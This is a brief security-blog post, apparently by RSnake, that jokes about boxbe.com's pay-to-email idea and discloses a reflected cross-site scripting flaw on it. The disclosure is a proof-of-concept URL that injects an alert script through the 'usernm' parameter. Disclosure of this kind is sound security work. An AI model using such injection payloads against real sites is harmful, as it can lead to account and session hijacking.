This is actually a cool idea for a site. Make people pay to send me emails. I'd make my family pay an arm and a leg. Anyway, they also have an XSS vuln:
https://www.boxbe.com/ama/reg_basic?usernm=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E&x=0&y=0
- RSnake
Gotta love it.
http://ha.ckers.org